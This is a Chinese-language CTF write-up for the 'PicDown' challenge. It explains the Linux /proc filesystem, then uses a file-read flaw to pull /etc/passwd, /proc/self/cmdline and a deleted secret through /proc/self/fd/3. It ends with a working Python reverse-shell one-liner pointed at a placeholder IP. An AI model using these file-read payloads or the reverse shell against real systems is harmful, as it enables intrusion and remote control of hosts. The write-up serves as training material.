PicDown
# 知识点
liunx 中 用户和应用程序可以通过 proc 得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取 proc 文件时,proc 文件系统是动态从系统内核读出所需信息并提交的。
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在 /proc 下,以进程的 PID 号为目录名,他们是读取进程信息的接口。而 self 目录则是读取进程本身的信息接口,是一个 link
1 | cat /proc/[PID]/cmdline #包含进程的完整命令行信息 |
注意:在真正做题的时候,我们是不能通过命令的方式执行通过 cat 命令读取 cmdline 的。因为如果 cat 读取 /proc/self/cmdline/ 的话,得到的是 cat 进程的信息。所以我们要通过题目的当前进程使用读取文件(比如,文件包含漏洞,,SSTI,,file:\\ 本地读取,,…/…/…/ 目录穿越,,SSRF)的方式读取 /proc/self/cmdline
# 题目分析
题目开局给了个框随手测试了一下 /flag????直接白给?正常做题
存在 包含
1 | /etc/passwd #成功读取文件 |
读取当前命令信息
1 | /proc/self/cmdline #python2 app.py |
尝试读出源码
1 | from flask import Flask, Response |
一个标准的 flask 利用点 当 key == SECRET_KEY 执行 shell
尝试读取 /tmp/secret.txt 函数执行读取后删除文件 利用 /proc/self/fd/3 读取文件执行内容
1 | ?url=/proc/self/fd/3 |
爆破最后一位数字

获得 key ncq/GKZNN9w898fP5q5hkv1aJzhqwvR9BVuR9ZZ/sro= 接下来构造命令
# 利用
python 反弹 shell
1 | python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx,xxx,xxx,xxx',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |









